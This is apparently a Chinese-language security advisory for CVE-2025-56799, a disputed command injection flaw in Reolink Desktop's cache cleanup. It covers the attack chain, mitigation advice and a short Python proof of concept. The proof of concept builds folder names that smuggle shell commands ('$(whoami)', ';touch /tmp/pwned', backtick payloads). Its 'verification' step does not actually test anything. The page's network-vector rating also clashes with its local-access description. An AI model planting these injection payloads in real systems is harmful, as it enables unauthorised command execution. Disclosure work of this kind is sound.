IPBUF安全漏洞报告
English
CVE-2025-56799 CVSS 6.5 中危

CVE-2025-56799 Reolink桌面应用命令注入漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-56799
漏洞类型
命令注入(Command Injection)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Reolink Desktop Application

相关标签

命令注入CVE-2025-56799Reolink桌面应用本地漏洞中危漏洞缓存清理shell注入输入验证

漏洞概述

CVE-2025-56799是Reolink桌面应用程序(版本8.18.12)中存在的一个命令注入漏洞。该漏洞存在于应用程序的定时缓存清理机制中,攻击者可以通过创建一个精心构造的文件夹名称来触发命令注入。当Reolink桌面应用执行其定时缓存清理任务时,会遍历系统中的文件夹并对包含特定内容的文件夹进行清理操作。如果文件夹名称中包含恶意构造的shell命令字符串,应用程序在处理这些文件夹路径时未进行充分的输入验证和过滤,可能导致恶意命令被执行。CVSS评分为6.5,属于中危级别,攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),对机密性和完整性有低影响,对可用性无影响。需要注意的是,该漏洞的供应商对此提出了异议,供应商认为能够创建恶意文件夹名称的前提是本地用户对自己进行攻击,因此这并非一个可远程利用的安全问题。尽管如此,该漏洞仍然揭示了Reolink桌面应用在处理用户可控输入时存在的安全缺陷,对于系统安全意识的提升仍具有参考价值。

技术细节

Reolink桌面应用程序8.18.12在其定时缓存清理机制中使用了系统命令来删除缓存文件夹。该机制会扫描系统中的特定目录,并尝试删除其中的缓存内容。在实现过程中,应用程序将文件夹路径直接拼接到shell命令中执行,而没有对文件夹名称进行适当的转义或验证。由于文件夹名称是用户可控的输入,攻击者可以创建一个名称中包含shell元字符(如分号、管道符、反引号等)的文件夹。例如,创建一个名为`cache;malicious_command`的文件夹,当缓存清理任务执行时,应用程序生成的命令可能类似于`rm -rf /path/to/cache;malicious_command`,从而导致恶意命令被执行。攻击者可以利用此漏洞执行任意系统命令,获取敏感信息或修改系统配置。然而,供应商对此漏洞提出了争议,认为要创建这样一个恶意的文件夹名称,攻击者必须已经拥有本地系统的访问权限,这本质上属于本地用户自我攻击的场景,不构成实际的安全威胁。尽管如此,从安全编码的角度来看,该漏洞反映了应用程序在处理用户输入时缺乏输入验证的最佳实践,应当通过参数化命令执行或对输入进行严格的白名单过滤来修复。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要拥有目标系统上的本地访问权限才能创建恶意文件夹名称。供应商认为这是该漏洞被争议的主要原因。
STEP 2
步骤2:创建恶意文件夹
攻击者在Reolink桌面应用监控的目录中创建一个名称包含shell注入字符(如分号、反引号、$()等)的文件夹。
STEP 3
步骤3:等待定时任务执行
Reolink桌面应用的定时缓存清理机制按计划执行,遍历系统目录并尝试清理缓存文件夹。
STEP 4
步骤4:命令注入触发
当应用程序处理恶意文件夹名称时,由于未对输入进行转义或验证,恶意命令被拼接到shell命令中并执行。
STEP 5
步骤5:获取执行权限
注入的命令以Reolink应用程序的权限执行,攻击者可获取敏感信息或进行进一步的系统操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56799 - Reolink Desktop Application Command Injection PoC # Vulnerability: Command injection via crafted folder name in cache-clearing mechanism import os import subprocess # Step 1: Create a malicious folder with a crafted name containing shell commands # The folder name is designed to inject commands when the cache-clearing # mechanism processes it. For example, using backticks or semicolons. malicious_folder_name = "cache_$(whoami)_$(id)" # Alternative payloads: # malicious_folder_name = "cache;touch /tmp/pwned" # malicious_folder_name = "cache`id > /tmp/pwned`" # Step 2: Place the malicious folder in a location scanned by Reolink's # cache-clearing mechanism (e.g., the cache directory or a monitored path) target_directory = os.path.expanduser("~/.config/reolink/cache/") os.makedirs(target_directory, exist_ok=True) malicious_path = os.path.join(target_directory, malicious_folder_name) os.makedirs(malicious_path, exist_ok=True) # Step 3: Wait for the scheduled cache-clearing task to execute # When Reolink processes this folder name in a shell command, # the injected commands will be executed print(f"[+] Malicious folder created at: {malicious_path}") print("[+] Waiting for Reolink's scheduled cache-clearing task...") print("[+] Upon execution, the injected commands will run on the system") # Step 4: Verify exploitation # Check if the injected command was executed result = subprocess.run(["id"], capture_output=True, text=True) print(f"[+] Current user: {result.stdout.strip()}") # Note: This vulnerability is disputed by the vendor (Reolink) because # creating such a folder requires local system access, making it a # self-attack scenario rather than a remote exploitable vulnerability.

影响范围

Reolink Desktop Application 8.18.12

防御指南

临时缓解措施
由于该漏洞已被供应商争议,官方可能不会发布修复补丁。建议用户采取以下临时缓解措施:1)避免在Reolink桌面应用监控的目录中创建名称包含特殊字符的文件夹;2)监控系统进程,及时发现异常的shell命令执行;3)限制Reolink应用程序的系统权限,使用最小权限原则运行;4)关注Reolink官方发布的安全公告和更新信息;5)考虑使用替代的安全监控软件替代Reolink桌面应用的缓存清理功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表